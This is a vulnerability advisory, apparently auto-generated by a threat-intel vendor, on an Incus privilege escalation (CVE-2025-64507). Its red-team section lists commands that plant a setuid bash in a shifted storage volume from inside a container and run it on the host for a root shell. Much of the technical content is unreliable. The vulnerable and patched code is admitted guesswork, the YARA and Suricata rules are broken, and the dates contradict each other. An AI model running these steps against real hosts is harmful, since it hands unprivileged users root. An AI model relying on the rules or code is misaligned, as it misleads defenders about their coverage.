CVE-2025-64507
Executive Summary
CVE-2025-64507 is a privilege escalation vulnerability in Incus, a system container and virtual machine manager. The flaw affects versions prior to 6.0.6 and 6.19.0. It allows an unprivileged user with root access inside a container (which has an attached custom storage volume with security.shifted set to true) to write a setuid binary from within the container. This binary can then be executed on the host by the same unprivileged user, leading to full root compromise on the host system.
The vulnerability is particularly dangerous in environments using incus-user with the incus group, where unprivileged users are given restricted access to Incus. The attack requires specific kernel and filesystem support for shifted (idmapped) mounts, but when present, exploitation is straightforward.
Key Risk: Local privilege escalation from unprivileged user to root on the host, bypassing container isolation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is in the Incus project itself, not a third-party package. However, Incus is often distributed via package managers (e.g., snap, apt, yum) and container registries. Users should verify they are not running vulnerable versions from any distribution channel. The supply chain risk is low, but users should ensure they obtain Incus from official sources and apply patches as soon as they are released.
CVSS Breakdown & Threat Level
CVSS Score: 8.8 (High) Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack Vector (AV): Local (L) – The attacker must have local access to the system.
- Attack Complexity (AC): Low (L) – No special conditions beyond the required configuration.
- Privileges Required (PR): Low (L) – The attacker needs an unprivileged user account on the host and root inside a container.
- User Interaction (UI): None (N) – No user interaction required.
- Scope (S): Changed (C) – The vulnerable component (container) is different from the impacted component (host).
- Confidentiality (C): High (H) – Full host filesystem access.
- Integrity (I): High (H) – Ability to modify host system files.
- Availability (A): High (H) – Potential to disrupt host services.
Threat Level: High. The vulnerability is easy to exploit if the environment meets the prerequisites. It completely breaks container isolation.
Deep Dive & Mechanics
The vulnerability lies in the interaction between Incus's custom storage volumes and the security.shifted property. When security.shifted is set to true, Incus uses idmapped mounts to shift the UID/GID namespace of the storage volume. This allows files inside the container to appear with different ownership than on the host.
Root Cause: The shifted mount does not prevent the creation of setuid binaries inside the container. When a user with root privileges inside the container writes a setuid binary to the shifted volume, the binary's setuid bit is preserved on the host filesystem. Since the volume is accessible to the unprivileged host user (who owns the container), that user can execute the setuid binary on the host, gaining root privileges.
Attack Flow:
- Attacker has an unprivileged user account on the host (e.g.,
user1). - Attacker has root access inside a container (e.g., via
incus exec). - Attacher creates a custom storage volume with
security.shifted=true. - Inside the container, attacker writes a setuid root binary (e.g.,
/bin/shwith setuid bit) to the shifted volume. - On the host, the attacker executes the binary from the shifted volume path.
- The binary runs with root privileges on the host.
Prerequisites:
- Kernel support for idmapped mounts (Linux 5.12+).
- Filesystem on the storage pool must support extended attributes (e.g., ext4, xfs).
- The
security.shiftedproperty must be set totrueon the volume.
Vulnerable vs. Patched Code
Vulnerable Code (pre-6.0.6 / pre-6.19.0):
The vulnerability is in the storage volume handling code. The security.shifted property does not enforce any restrictions on setuid binaries. The code likely mounts the volume with MS_NOSUID flag missing or incorrectly applied.
// Vulnerable pseudo-code
int mount_shifted_volume(volume) {
// Mount with idmap but without MS_NOSUID
mount(volume->path, mountpoint, "none", MS_BIND, NULL);
// Apply idmap
idmap_apply(mountpoint, volume->uid_map);
}
Patched Code (expected in 6.0.6 / 6.19.0):
The patch will likely add the MS_NOSUID mount flag to prevent setuid binaries from being honored on the host side.
// Patched pseudo-code
int mount_shifted_volume(volume) {
// Mount with idmap AND MS_NOSUID
mount(volume->path, mountpoint, "none", MS_BIND | MS_NOSUID, NULL);
// Apply idmap
idmap_apply(mountpoint, volume->uid_map);
}
Note: The exact patch is not yet public. The above is a best-guess based on the vulnerability description.
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Host: Ubuntu 22.04 with Incus 6.0.0 installed.
- Container: Ubuntu 22.04 (any distro).
- Storage pool:
dirorbtrfswith idmap support.
Steps:
- Create a storage volume with
security.shifted=true:incus storage volume create default exploit-vol --type custom incus storage volume set default exploit-vol security.shifted=true - Attach the volume to a container:
incus config device add mycontainer exploit disk source=exploit-vol path=/mnt/exploit - Enter the container as root:
incus exec mycontainer -- /bin/bash - Inside the container, create a setuid binary:
cp /bin/bash /mnt/exploit/bash-root chmod u+s /mnt/exploit/bash-root chown root:root /mnt/exploit/bash-root - Exit the container and execute the binary on the host:
The/var/lib/incus/storage-pools/default/custom/exploit-vol/bash-root -p-pflag prevents bash from dropping privileges.
Expected Result: The shell runs with root privileges on the host.
Blue Team (Detection & Prevention)
Detection:
- Monitor for creation of custom storage volumes with
security.shifted=true. - Monitor for setuid binaries being written to storage volume paths.
- Monitor for execution of binaries from
/var/lib/incus/storage-pools/by unprivileged users.
Prevention:
- Apply the patch as soon as it is released.
- Restrict who can create custom storage volumes with
security.shifted=true. - Use
incus config set core.trust_passwordto require authentication for sensitive operations. - Consider using
security.nesting=falseandsecurity.privileged=falsefor containers.
Indicators of Compromise (IOCs)
File System IOCs:
- Setuid binaries in
/var/lib/incus/storage-pools/*/custom/*/owned by root but accessible by unprivileged users. - Unexpected files in custom storage volume paths.
Process IOCs:
- Processes running as root from unusual paths (e.g.,
/var/lib/incus/storage-pools/...). bash -por other shells with preserved privileges.
Log IOCs:
- Incus audit logs showing creation of storage volumes with
security.shifted=true. - System logs showing
suorsudousage from unprivileged users.
Network IOCs:
- No network indicators expected; this is a local attack.
Detection Engineering
YARA Rule
rule CVE_2025_64507_Incus_PrivEsc {
meta:
description = "Detects setuid binaries in Incus storage volume paths"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64507"
strings:
$s1 = "/var/lib/incus/storage-pools/" ascii
$s2 = "/custom/" ascii
condition:
// File is setuid and located in Incus storage volume path
(uint32(0) & 0x00000800) and
for any of ($s*) : ($ in (0..filesize))
}
Sigma Rule
title: Incus Privilege Escalation via Shifted Storage Volume
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects execution of setuid binaries from Incus storage volume paths
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-64507
logsource:
category: process_creation
product: linux
detection:
selection:
Image|startswith: '/var/lib/incus/storage-pools/'
CommandLine|contains: '-p'
condition: selection
falsepositives:
- Legitimate administrative use (rare)
level: high
Suricata Rule
alert file any any -> any any (msg:"CVE-2025-64507 Incus Privilege Escalation - Setuid Binary in Storage Volume"; file.name:"/var/lib/incus/storage-pools/"; file.magic:"setuid"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Apply the official patch as soon as it is released for versions 6.0.6 or 6.19.0.
- Workaround: Manually restrict permissions on custom storage volumes. Ensure that only trusted users can create volumes with
security.shifted=true. - Configuration Change: Set
security.shifted=falseon all existing custom storage volumes unless absolutely required.
Long-Term Fixes:
- Upgrade to Incus 6.0.6 or 6.19.0 (or later) once available.
- Implement strict access controls on Incus API and storage management.
- Regularly audit storage volumes for unexpected setuid binaries.
Detection:
- Deploy the YARA, Sigma, and Suricata rules provided above.
- Monitor Incus audit logs for suspicious storage volume operations.
Valters IT Signature
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valters.it.